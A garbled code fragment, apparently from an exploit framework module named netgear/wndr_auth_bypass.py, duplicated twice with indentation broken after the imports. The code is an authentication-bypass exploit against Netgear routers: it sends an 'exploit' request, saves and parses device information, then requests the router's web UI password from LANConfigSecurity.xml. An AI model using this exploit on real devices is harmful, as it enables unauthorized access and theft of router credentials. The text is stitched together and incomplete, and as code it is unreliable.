# Path: interface/messages.py
# def print_error(*args, **kwargs):
#     print(Color.RED + Color.BOLD + "[-]" + Color.ENDC, *args, **kwargs)
# 
# def print_warning(*args, **kwargs):
#     print(Color.YELLOW + Color.BOLD + "[!]" + Color.ENDC, *args, **kwargs)
# 
# def print_info(*args, **kwargs):
#     print(Color.BLUE + Color.BOLD + "[*]" + Color.ENDC, *args, **kwargs)


import traceback
import core.Exploit
import core.io
import requests
import re
import interface.utils
from interface.messages import print_error, print_warning, print_info
        striptag = re.compile(r'<.*?>')
        try:
            print_warning("Sending exploit")

            # Request DeviceInfo
            response = requests.post(url, headers=headers, data=payload, timeout=60)
            if response.status_code != 200:
                raise requests.ConnectionError
            print_info("Writing response to DeviceInfo.xml")
            core.io.writetextfile(response.text, "DeviceInfo.xml")
            print_info("Parsing response")
            regex = re.search("<Description>(.*)", response.text)
            regex2 = re.search("<SerialNumber>(.*)", response.text)
            regex3 = re.search("<Firmwareversion>(.*)", response.text)
            try:
                description = striptag.sub('', regex.group(1))
                serial_number = striptag.sub('', regex2.group(1))
                firmware = striptag.sub('', regex3.group(1))
                print("Device: %s" % description)
                print("Serial number: %s" % serial_number)
                print("FW version: %s" % firmware)
            except IndexError:
                print_error("opps unable to locate this regular expression")

            # Request web UI password
            response = requests.post(url, headers=headers1, data=payload, timeout=60)
            if response.status_code != 200:
                raise requests.ConnectionError
            print_info("Writing response to LANConfigSecurity.xml")
            core.io.writetextfile(response.text, "LANConfigSecurity.xml")

# Path: interface/messages.py
# def print_error(*args, **kwargs):
#     print(Color.RED + Color.BOLD + "[-]" + Color.ENDC, *args, **kwargs)
# 
# def print_warning(*args, **kwargs):
#     print(Color.YELLOW + Color.BOLD + "[!]" + Color.ENDC, *args, **kwargs)
# 
# def print_info(*args, **kwargs):
#     print(Color.BLUE + Color.BOLD + "[*]" + Color.ENDC, *args, **kwargs)


# Path: modules/exploits/netgear/wndr_auth_bypass.py
import traceback
import core.Exploit
import core.io
import requests
import re
import interface.utils
from interface.messages import print_error, print_warning, print_info

        striptag = re.compile(r'<.*?>')
        try:
            print_warning("Sending exploit")

            # Request DeviceInfo
            response = requests.post(url, headers=headers, data=payload, timeout=60)
            if response.status_code != 200:
                raise requests.ConnectionError
            print_info("Writing response to DeviceInfo.xml")
            core.io.writetextfile(response.text, "DeviceInfo.xml")
            print_info("Parsing response")
            regex = re.search("<Description>(.*)", response.text)
            regex2 = re.search("<SerialNumber>(.*)", response.text)
            regex3 = re.search("<Firmwareversion>(.*)", response.text)
            try:
                description = striptag.sub('', regex.group(1))
                serial_number = striptag.sub('', regex2.group(1))
                firmware = striptag.sub('', regex3.group(1))
                print("Device: %s" % description)
                print("Serial number: %s" % serial_number)
                print("FW version: %s" % firmware)
            except IndexError:
                print_error("opps unable to locate this regular expression")

            # Request web UI password
            response = requests.post(url, headers=headers1, data=payload, timeout=60)
            if response.status_code != 200:
                raise requests.ConnectionError
            print_info("Writing response to LANConfigSecurity.xml")
            core.io.writetextfile(response.text, "LANConfigSecurity.xml")

            print_info("Parsing response")